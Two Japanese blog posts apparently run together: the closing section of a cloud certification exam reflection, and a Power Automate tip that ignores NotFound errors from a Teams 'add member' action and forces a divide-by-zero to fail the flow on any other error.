大企業もっとインフラ投資しようぜ！って思うけど、**やたら生々しい**ですよね。
GoogleはBigQuery/Spannerに寄せて、世界規模ならこれ使うのがスタンダード一択なんだぜ！って内容が多い

## そもこの資格のターゲットが大規模ばかり

他の人もネット記事に書いてたけど**実務でこんな規模触る事あるのかな。。ってくらいに大規模**。
Organizationsの問題なんか、四桁アカウントみたいなのが出てきて、日本にその規模の会社そんなあんかなーってなる。逆にGoogleはデータサイエンス、機械学習系は超大規模。XXX万ユーザーの、みたいな問題ばかり

## クラウドに求められてるものが見えてくる

Googleの資格持ってたので、Googleだとこうだったよな？みたいな回答でプライベートネットワークの問題なんかはほぼ同じ内容で正答できる。あとアカウントの権限付与みたいなのとか。
**それぞれのクラウドの差分はあるものの、社内ITやデータセンターの置き換えとして求められているものは共通なんだね**、と気づかされる。ここはAzureも同じなんでしょうかね？(あ、なんかフラグ立ちそうで怖い)

# あとがき

**今回も経験値大事よね、という結論です**。
生き馬の目を抜いて串焼きにしてネギ塩載せて三冷ホッピーで美味しく頂くレベルのIT業界20年以上生き抜いてきた経験値はダテじゃないっす。それこそ、灰になって連絡取れなくなった人を何人も見てきたし、、
なので、「長年業界にいるけどうだつが上がらねー」って超ベテランさんは資格取得どうすか？

### 思ったより、今のトレンドと闘えているジブンに出会えると思う
PowerAutomateワークフローでエラー内容をもとにフロー成功/失敗を制御

今回はPowerAutomateのエラーハンドリングについてのTIPSです。

# Problem

ワークフロー内に外的要因でエラーとなりやすい箇所がある。
当該エラーの原因はワークフロー内では解決しようがなくエラーとなった場合は無視したい。
しかし他のエラーが起きた場合はきちんとワークフローを失敗させたい。

事例：
> ワークフロー内でTeamsコネクターの「チームにメンバーを追加する」アクションを実行している。
> アクションでは追加対象者の指定にユーザープリンシパル名を利用するが、フローの入力データの問題で時折無効なユーザープリンシパル名が混入してしまう。
> 無効な値の混入でエラーとなった場合はこれを無視して後続の処理を行わせたい。
> ただしもしそれ以外のエラーの場合は後続処理を行わずワークフローを失敗させたい。

# Solution

エラーとなりうるアクションの後に、当該アクションがエラーになった時のみ起動し、エラー内容を判定して「無視」もしくは「失敗」させるアクションを連結する。

先ほどの「事例」をもとに具体的なフローを示すと：

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50571/2e556a50-7464-c95d-9545-4b7a6f9dcd36.png)

* ここで「スコープ」内の「チームにメンバーを追加する」は無効なユーザープリンシパル名が指定されると「NotFound」エラーになる。
* 後続の「作成 チームメンバー追加エラー」はアクションの設定「Run after」により前段処理がエラーになった時のみ実行される。実行されるとその後に続く「作成 特定の〜」も実行される。
* 1つ目の「作成」でエラー内容を示す情報を取得し2つ目の「作成」でエラー内容次第で「無視」もしくは「失敗」を制御している。わかりやすくするために2つのアクションに分けているが、1つのアクションにまとめてしまっても機能的に問題はない。

「チームにメンバーを追加する」アクションでエラーが発生すると、当該アクションの`body(...)`には次のような `"error"`プロパティが設定される：


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50571/1b37b945-83c4-1bdb-dc16-a0af405f0fe3.png)

```json
{
  "error": {
    "code": "NotFound",
    "message": "Failed to find user with id 'XXXX@XXXX' in the tenant",
    "innerError": {
      "date": "2024-09-19T00:43:20",
      "request-id": "7e005119-d24e-4094-8ccd-9b23148ce70e",
      "client-request-id": "7e005119-d24e-4094-8ccd-9b23148ce70e"
    }
  }
}
```

1つ目の「作成」ではこの`"error"`プロパティを取り出している。「Run after」の設定で前段処理が失敗した時のみ実行されるようにしてある：

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50571/ac69710f-71a9-b2e6-e7e9-d8b86223f121.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50571/2a818636-275f-1c93-e81e-3734b8ac399b.png)

2つ目の「作成」では前段処理で取り出したエラー情報のうち`"code"`プロパティの内容をチェックして、もし`'NotFound'`だったら`null`を返しそれ以外だったらゼロ除算エラーを引き起こすようにしている：

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50571/5c5e8485-45c4-bbbe-1a7b-f4784a7c17d1.png)

`if(equals(outputs('作成_チームメンバー追加エラー')['code'],'NotFound'),null,div(1,0))`

前述の通り1つ目の「作成」と2つ目の「作成」はまとめて1つにしても機能上問題ない。